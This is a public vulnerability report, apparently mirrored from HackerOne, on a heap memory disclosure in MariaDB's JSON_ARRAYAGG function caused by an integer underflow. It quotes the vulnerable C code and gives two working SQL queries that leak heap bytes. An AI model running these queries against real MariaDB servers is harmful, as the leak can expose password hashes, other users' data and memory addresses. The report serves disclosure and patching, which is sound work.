HexBrain

MariaDB · Report #3771139

Heap Memory Disclosure via Integer Underflow in Item_func_json_arrayagg::cut_max_length in MariaDB Server

Validstatus
16upvotes
15 Sept 2026disclosed

How it was found

Description:

An integer underflow in MariaDB's JSON_ARRAYAGG aggregate function allows any authenticated user to read arbitrary heap memory from the server process. When using a single-byte character set (latin1, binary, or ascii), the Item_func_json_arrayagg::cut_max_length override subtracts 1 from max_length to reserve space for a closing " before calling the base class Item_func_group_concat::cut_max_length(result, old_length, max_length-1). It does not verify that old_length <= max_length-1 first. When old_length >= max_length (which occurs when the accumulated result has already reached or exceeded group_concat_max_len before the current row is appended), the base class computes a Well_formed_prefix with end pointer before start pointer. Inside my_well_formed_char_length_8bit, the subtraction (size_t)(end - start) wraps to a huge unsigned value, and MIN(huge_value, result->length()) evaluates to result->length(). The string length is then set to old_length + result->length() — roughly double the real data size — via the unchecked Binary_string::length(size_t) setter, leaving str_length far beyond Alloced_length. When the result is serialised to the client (e.g. through HEX()), the protocol layer reads str_length bytes from the buffer, walking past the end of the heap chunk and disclosing the contents of adjacent allocations.

The vulnerability was introduced in commit 6c573a9146caa76807db1190e0747f5befb5b170 (2020-06-15, "MDEV-22844 JSON_ARRAYAGG is limited by group_concat_max_len"). Versions prior to 10.5.4 are not affected because JSON_ARRAYAGG's cut_max_length override did not exist.

The vulnerable code in sql/item_jsonfunc.cc:

void Item_func_json_arrayagg::cut_max_length(String *result,
       uint old_length, uint max_length) const
{
  if (result->length() == 0)
    return;
  if (result->ptr()[result->length() - 1] != '"' || max_length == 0)
  {
    Item_func_group_concat::cut_max_length(result, old_length, max_length);
    return;
  }
  Item_func_group_concat::cut_max_length(result, old_length, max_length-1);
  result->append('"');
}

The base class function in sql/item_sum.cc:

void Item_func_group_concat::cut_max_length(String *result,
        uint old_length, uint max_length) const
{
  const char *ptr= result->ptr();
  size_t add_length= Well_formed_prefix(collation.collation,
                                      ptr + old_length,    // start
                                      ptr + max_length,    // end < start when underflow
                                      result->length()).length();
  result->length(old_length + add_length);
}

The unsigned wraparound in strings/ctype-simple.c:

size_t my_well_formed_char_length_8bit(...)
{
  size_t nbytes= (size_t) (end - start); // wraps to ~SIZE_MAX when end < start
  size_t res= MY_MIN(nbytes, nchars);    // = nchars = result->length()
  return res;
}

Reproduction Steps:

Any authenticated connection to MariaDB >= 10.5.4 with the SELECT and CREATE TEMPORARY TABLES privileges can trigger the disclosure; group_concat_max_len is SESSION-scoped and requires no additional grant.

-- Small leak (group_concat_max_len = 9)
SET SESSION group_concat_max_len = 9;
CREATE TEMPORARY TABLE t (c VARCHAR(20) CHARACTER SET latin1);
INSERT INTO t VALUES ('ab'), ('cd'), ('ef');
SELECT LENGTH(JSON_ARRAYAGG(c ORDER BY c)) AS result_length,
       HEX(JSON_ARRAYAGG(c ORDER BY c)) AS hex_result FROM t;
DROP TEMPORARY TABLE t;

-- Larger leak (group_concat_max_len = 100)
SET @N = 100;
SET SESSION group_concat_max_len = @N;
CREATE TEMPORARY TABLE t (c MEDIUMTEXT CHARACTER SET latin1);
INSERT INTO t VALUES (REPEAT('a', @N - 2)), ('x');
SELECT LENGTH(JSON_ARRAYAGG(c ORDER BY c)) AS got_bytes,
       @N + 2 AS expected_sane_bytes,
       HEX(SUBSTR(JSON_ARRAYAGG(c ORDER BY c), @N + 2)) AS leaked_heap FROM t;
DROP TEMPORARY TABLE t;

The first query returns a result_length significantly larger than the expected JSON output (~10 bytes), with the excess bytes visible as non-JSON hex data. The second query explicitly isolates the leaked heap bytes beyond the expected result boundary.

Impact

Any authenticated user with the default SELECT and CREATE TEMPORARY TABLES privileges can read adjacent heap memory from the mariadbd process. Disclosed contents can include other sessions' query data (PII, credentials), mysql.user password hashes from the ACL cache, and glibc allocator/THD pointers usable for ASLR defeat in an exploit chain. The over-read returns roughly 2–3× group_concat_max_len per query and does not crash the server, so it can be repeated silently and indefinitely.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original